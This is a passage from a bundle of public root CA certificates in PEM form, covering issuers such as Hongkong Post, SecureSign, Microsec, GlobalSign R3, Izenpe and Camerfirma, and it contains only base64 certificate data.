dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx MjA2MTUwODIxWjCBpzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxO ZXRMb2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlmaWNhdGlv biBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNzIEdvbGQpIEbFkXRhbsO6 c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxCRec75LbRTDofTjl5Bu 0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrTlF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw /HpYzY6b7cNGbIRwXdrzAZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAk H3B5r9s5VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRGILdw fzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2BJtr+UBdADTHLpl1 neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAGAQH/AgEEMA4GA1UdDwEB/wQEAwIB BjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2MU9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwW qZw8UQCgwBEIBaeZ5m8BiFRhbvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTta YtOUZcTh5m2C+C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2FuLjbvrW5Kfna NwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2XjG4Kvte9nHfRCaexOYNkbQu dZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E= -----END CERTIFICATE----- Hongkong Post Root CA 1 ======================= -----BEGIN CERTIFICATE----- MIIDMDCCAhigAwIBAgICA+gwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoT DUhvbmdrb25nIFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMB4XDTAzMDUx NTA1MTMxNFoXDTIzMDUxNTA0NTIyOVowRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoTDUhvbmdrb25n IFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEArP84tulmAknjorThkPlAj3n54r15/gK97iSSHSL22oVyaf7XPwnU3ZG1 ApzQjVrhVcNQhrkpJsLj2aDxaQMoIIBFIi1WpztUlVYiWR8o3x8gPW2iNr4joLFutbEnPzlTCeqr auh0ssJlXI6/fMN4hM2eFvz1Lk8gKgifd/PFHsSaUmYeSF7jEAaPIpjhZY4bXSNmO7ilMlHIhqqh qZ5/dpTCpmy3QfDVyAY45tQM4vM7TG1QjMSDJ8EThFk9nnV0ttgCXjqQesBCNnLsak3c78QA3xMY V18meMjWCnl3v/evt3a5pQuEF10Q6m/hq5URX208o1xNg1vysxmKgIsLhwIDAQABoyYwJDASBgNV HRMBAf8ECDAGAQH/AgEDMA4GA1UdDwEB/wQEAwIBxjANBgkqhkiG9w0BAQUFAAOCAQEADkbVPK7i h9legYsCmEEIjEy82tvuJxuC52pF7BaLT4Wg87JwvVqWuspube5Gi27nKi6Wsxkz67SfqLI37pio l7Yutmcn1KZJ/RyTZXaeQi/cImyaT/JaFTmxcdcrUehtHJjA2Sr0oYJ71clBoiMBdDhViw+5Lmei IAQ32pwL0xch4I+XeTRvhEgCIDMb5jREn5Fw9IBehEPCKdJsEhTkYY2sEJCehFC78JZvRZ+K88ps T/oROhUVRsPNH4NbLUES7VBnQRM9IauUiqpOfMGx+6fWtScvl6tu4B3i0RwsH0Ti/L6RoZz71ilT c4afU9hDDl3WY4JxHYB0yvbiAmvZWg== -----END CERTIFICATE----- SecureSign RootCA11 =================== -----BEGIN CERTIFICATE----- MIIDbTCCAlWgAwIBAgIBATANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQGEwJKUDErMCkGA1UEChMi SmFwYW4gQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcywgSW5jLjEcMBoGA1UEAxMTU2VjdXJlU2lnbiBS b290Q0ExMTAeFw0wOTA0MDgwNDU2NDdaFw0yOTA0MDgwNDU2NDdaMFgxCzAJBgNVBAYTAkpQMSsw KQYDVQQKEyJKYXBhbiBDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzLCBJbmMuMRwwGgYDVQQDExNTZWN1 cmVTaWduIFJvb3RDQTExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/XeqpRyQBTvL TJszi1oURaTnkBbR31fSIRCkF/3frNYfp+TbfPfs37gD2pRY/V1yfIw/XwFndBWW4wI8h9uuywGO wvNmxoVF9ALGOrVisq/6nL+k5tSAMJjzDbaTj6nU2DbysPyKyiyhFTOVMdrAG/LuYpmGYz+/3ZMq g6h2uRMft85OQoWPIucuGvKVCbIFtUROd6EgvanyTgp9UK31BQ1FT0Zx/Sg+U/sE2C3XZR1KG/rP O7AxmjVuyIsG0wCR8pQIZUyxNAYAeoni8McDWc/V1uinMrPmmECGxc0nEovMe863ETxiYAcjPitA bpSACW22s293bzUIUPsCh8U+iQIDAQABo0IwQDAdBgNVHQ4EFgQUW/hNT7KlhtQ60vFjmqC+CfZX t94wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAKCh OBZmLqdWHyGcBvod7bkixTgm2E5P7KN/ed5GIaGHd48HCJqypMWvDzKYC3xmKbabfSVSSUOrTC4r bnpwrxYO4wJs+0LmGJ1F2FXI6Dvd5+H0LgscNFxsWEr7jIhQX5Ucv+2rIrVls4W6ng+4reV6G4pQ Oh29Dbx7VFALuUKvVaAYga1lme++5Jy/xIWrQbJUb9wlze144o4MjQlJ3WN7WmmWAiGovVJZ6X01 y8hSyn+B/tlr0/cR7SXf+Of5pPpyl4RTDaXQMhhRdlkUbA/r7F+AjHVDg8OFmP9Mni0N5HeDk061 lgeLKBObjBmNQSdJQO7e5iNEOdyhIta6A/I= -----END CERTIFICATE----- Microsec e-Szigno Root CA 2009 ============================== -----BEGIN CERTIFICATE----- MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG 0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm 1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775 tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02 yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi LXpUq3DDfSJlgnCW -----END CERTIFICATE----- GlobalSign Root CA - R3 ======================= -----BEGIN CERTIFICATE----- MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ 0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3 rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2 xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7 lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8 EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18 YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r kpeDMdmztcpHWD9f -----END CERTIFICATE----- Autoridad de Certificacion Firmaprofesional CIF A62634068 ========================================================= -----BEGIN CERTIFICATE----- MIIGFDCCA/ygAwIBAgIIU+w77vuySF8wDQYJKoZIhvcNAQEFBQAwUTELMAkGA1UEBhMCRVMxQjBA BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2 MjYzNDA2ODAeFw0wOTA1MjAwODM4MTVaFw0zMDEyMzEwODM4MTVaMFExCzAJBgNVBAYTAkVTMUIw QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY 7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMBIGA1Ud EwEB/wQIMAYBAf8CAQEwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRlzeurNR4APn7VdMActHNH DhpkLzCBpgYDVR0gBIGeMIGbMIGYBgRVHSAAMIGPMC8GCCsGAQUFBwIBFiNodHRwOi8vd3d3LmZp cm1hcHJvZmVzaW9uYWwuY29tL2NwczBcBggrBgEFBQcCAjBQHk4AUABhAHMAZQBvACAAZABlACAA bABhACAAQgBvAG4AYQBuAG8AdgBhACAANAA3ACAAQgBhAHIAYwBlAGwAbwBuAGEAIAAwADgAMAAx ADcwDQYJKoZIhvcNAQEFBQADggIBABd9oPm03cXF661LJLWhAqvdpYhKsg9VSytXjDvlMd3+xDLx 51tkljYyGOylMnfX40S2wBEqgLk9am58m9Ot/MPWo+ZkKXzR4Tgegiv/J2Wv+xYVxC5xhOW1//qk R71kMrv2JYSiJ0L1ILDCExARzRAVukKQKtJE4ZYm6zFIEv0q2skGz3QeqUvVhyj5eTSSPi5E6PaP T481PyWzOdxjKpBrIF/EUhJOlywqrJ2X3kjyo2bbwtKDlaZmp54lD+kLM5FlClrD2VQS3a/DTg4f Jl4N3LON7NWBcN7STyQF82xO9UxJZo3R/9ILJUFI/lGExkKvgATP0H5kSeTy36LssUzAKh3ntLFl osS88Zj0qnAHY7S42jtM+kAiMFsRpvAFDsYCA0irhpuF3dvd6qJ2gHN99ZwExEWN57kci57q13XR crHedUTnQn3iV2t93Jm8PYMo6oCTjcVMZcFwgbg4/EMxsvYDNEeyrPsiBsse3RdHHF9mudMaotoR saS8I8nkvof/uZS2+F0gStRf571oe2XyFR7SOqkt6dhrJKyXWERHrVkY8SFlcN7ONGCoQPHzPKTD KCOM/iczQ0CgFzzr6juwcqajuUpLXhZI9LK8yIySxZ2frHI2vDSANGupi5LAuBft7HZT9SQBjLMi 6Et8Vcad+qMUu2WFbm5PEn4KPJ2V -----END CERTIFICATE----- Izenpe.com ========== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Chambers of Commerce Root - 2008 ================================ -----BEGIN CERTIFICATE----- MIIHTzCCBTegAwIBAgIJAKPaQn6ksa7aMA0GCSqGSIb3DQEBBQUAMIGuMQswCQYDVQQGEwJFVTFD MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu QS4xKTAnBgNVBAMTIENoYW1iZXJzIG9mIENvbW1lcmNlIFJvb3QgLSAyMDA4MB4XDTA4MDgwMTEy Mjk1MFoXDTM4MDczMTEyMjk1MFowga4xCzAJBgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNl ZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNhbWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQF EwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENhbWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJl cnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC AQCvAMtwNyuAWko6bHiUfaN/Gh/2NdW928sNRHI+JrKQUrpjOyhYb6WzbZSm891kDFX29ufyIiKA XuFixrYp4YFs8r/lfTJqVKAyGVn+H4vXPWCGhSRv4xGzdz4gljUha7MI2XAuZPeEklPWDrCQiorj h40G072QDuKZoRuGDtqaCrsLYVAGUvGef3bsyw/QHg3PmTA9HMRFEFis1tPo1+XqxQEHd9ZR5gN/ ikilTWh1uem8nk4ZcfUyS5xtYBkL+8ydddy/Js2Pk3g5eXNeJQ7KXOt3EgfLZEFHcpOrUMPrCXZk NNI5t3YRCQ12RcSprj1qr7V9ZS+UWBDsXHyvfuK2GNnQm05aSd+pZgvMPMZ4fKecHePOjlO+Bd5g D2vlGts/4+EhySnB8esHnFIbAURRPHsl18TlUlRdJQfKFiC4reRB7noI/plvg6aRArBsNlVq5331 lubKgdaX8ZSD6e2wsWsSaR6s+12pxZjptFtYer49okQ6Y1nUCyXeG0+95QGezdIp1Z8XGQpvvwyQ 0wlf2eOKNcx5Wk0ZN5K3xMGtr/R5JJqyAQuxr1yW84Ay+1w9mPGgP0revq+ULtlVmhduYJ1jbLhj ya6BXBg14JC7vjxPNyK5fuvPnnchpj04gftI2jE9K+OJ9dC1vX7gUMQSibMjmhAxhduub+84Mxh2 EQIDAQABo4IBbDCCAWgwEgYDVR0TAQH/BAgwBgEB/wIBDDAdBgNVHQ4EFgQU+SSsD7K1+HnA+mCI G8TZTQKeFxkwgeMGA1UdIwSB2zCB2IAU+SSsD7K1+HnA+mCIG8TZTQKeFxmhgbSkgbEwga4xCzAJ BgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNlZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNh bWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQFEwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENh bWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDiC CQCj2kJ+pLGu2jAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUH AgEWHGh0dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAJASryI1 wqM58C7e6bXpeHxIvj99RZJe6dqxGfwWPJ+0W2aeaufDuV2I6A+tzyMP3iU6XsxPpcG1Lawk0lgH 3qLPaYRgM+gQDROpI9CF5Y57pp49chNyM/WqfcZjHwj0/gF/JM8rLFQJ3uIrbZLGOU8W6jx+ekbU RWpGqOt1glanq6B8aBMz9p0w8G8nOSQjKpD9kCk18pPfNKXG9/jvjA9iSnyu0/VU+I22mlaHFoI6 M6taIgj3grrqLuBHmrS1RaMFO9ncLkVAO+rcf+g769HsJtg1pDDFOqxXnrN2pSB7+R5KBWIBpih1 YJeSDW4+TTdDDZIVnBgizVGZoCkaPF+KMjNbMMeJL0eYD6MDxvbxrN8y8NmBGuScvfaAFPDRLLmF 9dijscilIeUcE5fuDr3fKanvNFNb0+RqE4QGtjICxFKuItLcsiFCGtpA8CnJ7AoMXOLQusxI0zcK zBIKinmwPQN/aUv0NCB9szTqjktk9T79syNnFQ0EuPAtwQlRPLJsFfClI9eDdOTlLsn+mCdCxqvG nrDQWzilm1DefhiYtUU79nm06PcaewaD+9CL2rvHvRirCG88gGtAPxkZumWK5r7VXNM21+9AUiRg OGcEMeyP84LG3rlV8zsxkVrctQgVrXYlCg17LofiDKYGvCYQbTed7N14jHyAxfDZd0jQ -----END CERTIFICATE----- Global Chambersign Root - 2008 ============================== -----BEGIN CERTIFICATE----- MIIHSTCCBTGgAwIBAgIJAMnN0+nVfSPOMA0GCSqGSIb3DQEBBQUAMIGsMQswCQYDVQQGEwJFVTFD MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu QS4xJzAlBgNVBAMTHkdsb2JhbCBDaGFtYmVyc2lnbiBSb290IC0gMjAwODAeFw0wODA4MDExMjMx NDBaFw0zODA3MzExMjMxNDBaMIGsMQswCQYDVQQGEwJFVTFDMEEGA1UEBxM6TWFkcmlkIChzZWUg Y3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNvbS9hZGRyZXNzKTESMBAGA1UEBRMJ QTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMuQS4xJzAlBgNVBAMTHkdsb2JhbCBD aGFtYmVyc2lnbiBSb290IC0gMjAwODCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDf VtPkOpt2RbQT2//BthmLN0EYlVJH6xedKYiONWwGMi5HYvNJBL99RDaxccy9Wglz1dmFRP+RVyXf XjaOcNFccUMd2drvXNL7G706tcuto8xEpw2uIRU/uXpbknXYpBI4iRmKt4DS4jJvVpyR1ogQC7N0 ZJJ0YPP2zxhPYLIj0Mc7zmFLmY/CDNBAspjcDahOo7kKrmCgrUVSY7pmvWjg+b4aqIG7HkF4ddPB /gBVsIdU6CeQNR1MM62X/JcumIS/LMmjv9GYERTtY/jKmIhYF5ntRQOXfjyGHoiMvvKRhI9lNNgA TH23MRdaKXoKGCQwoze1eqkBfSbW+Q6OWfH9GzO1KTsXO0G2Id3UwD2ln58fQ1DJu7xsepeY7s2M H/ucUa6LcL0nn3HAa6x9kGbo1106DbDVwo3VyJ2dwW3Q0L9R5OP4wzg2rtandeavhENdk5IMagfe Ox2YItaswTXbo6Al/3K1dh3ebeksZixShNBFks4c5eUzHdwHU1SjqoI7mjcv3N2gZOnm3b2u/GSF HTynyQbehP9r6GsaPMWis0L7iwk+XwhSx2LE1AVxv8Rk5Pihg+g+EpuoHtQ2TS9x9o0o9oOpE9Jh wZG7SMA0j0GMS0zbaRL/UJScIINZc+18ofLx/d33SdNDWKBWY8o9PeU1VlnpDsogzCtLkykPAgMB AAGjggFqMIIBZjASBgNVHRMBAf8ECDAGAQH/AgEMMB0GA1UdDgQWBBS5CcqcHtvTbDprru1U8VuT BjUuXjCB4QYDVR0jBIHZMIHWgBS5CcqcHtvTbDprru1U8VuTBjUuXqGBsqSBrzCBrDELMAkGA1UE BhMCRVUxQzBBBgNVBAcTOk1hZHJpZCAoc2VlIGN1cnJlbnQgYWRkcmVzcyBhdCB3d3cuY2FtZXJm aXJtYS5jb20vYWRkcmVzcykxEjAQBgNVBAUTCUE4Mjc0MzI4NzEbMBkGA1UEChMSQUMgQ2FtZXJm aXJtYSBTLkEuMScwJQYDVQQDEx5HbG9iYWwgQ2hhbWJlcnNpZ24gUm9vdCAtIDIwMDiCCQDJzdPp 1X0jzjAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0 dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAICIf3DekijZBZRG /5BXqfEv3xoNa/p8DhxJJHkn2EaqbylZUohwEurdPfWbU1Rv4WCiqAm57OtZfMY18dwY6fFn5a+6 ReAJ3spED8IXDneRRXozX1+WLGiLwUePmJs9wOzL9dWCkoQ10b42OFZyMVtHLaoXpGNR6woBrX/s dZ7LoR/xfxKxueRkf2fWIyr0uDldmOghp+G9PUIadJpwr2hsUF1Jz//7Dl3mLEfXgTpZALVza2Mg 9jFFCDkO9HB+QHBaP9BrQql0PSgvAm11cpUJjUhjxsYjV5KTXjXBjfkK9yydYhz2rXzdpjEetrHH foUm+qRqtdpjMNHvkzeyZi99Bffnt0uYlDXA2TopwZ2yUDMdSqlapskD7+3056huirRXhOukP9Du qqqHW2Pok+JrqNS4cnhrG+055F3Lm6qH1U9OAP7Zap88MQ8oAgF9mOinsKJknnn4SPIVqczmyETr P3iZ8ntxPjzxmKfFGBI/5rsoM0LpRQp8bfKGeS/Fghl9CYl8slR2iK7ewfPM4W7bMdaTrpmg7yVq c5iJWzouE4gev8CSlDQb4ye3ix5vQv/n6TebUB0tovkC7stYWDpxvGjjqsGvHCgfotwjZT+B6q6Z 09gwzxMNTxXJhLynSC34MCN32EZLeW32jO06f2ARePTpm67VVMB0gNELQp/B -----END CERTIFICATE----- Go Daddy Root Certificate Authority - G2 ======================================== -----BEGIN CERTIFICATE----- 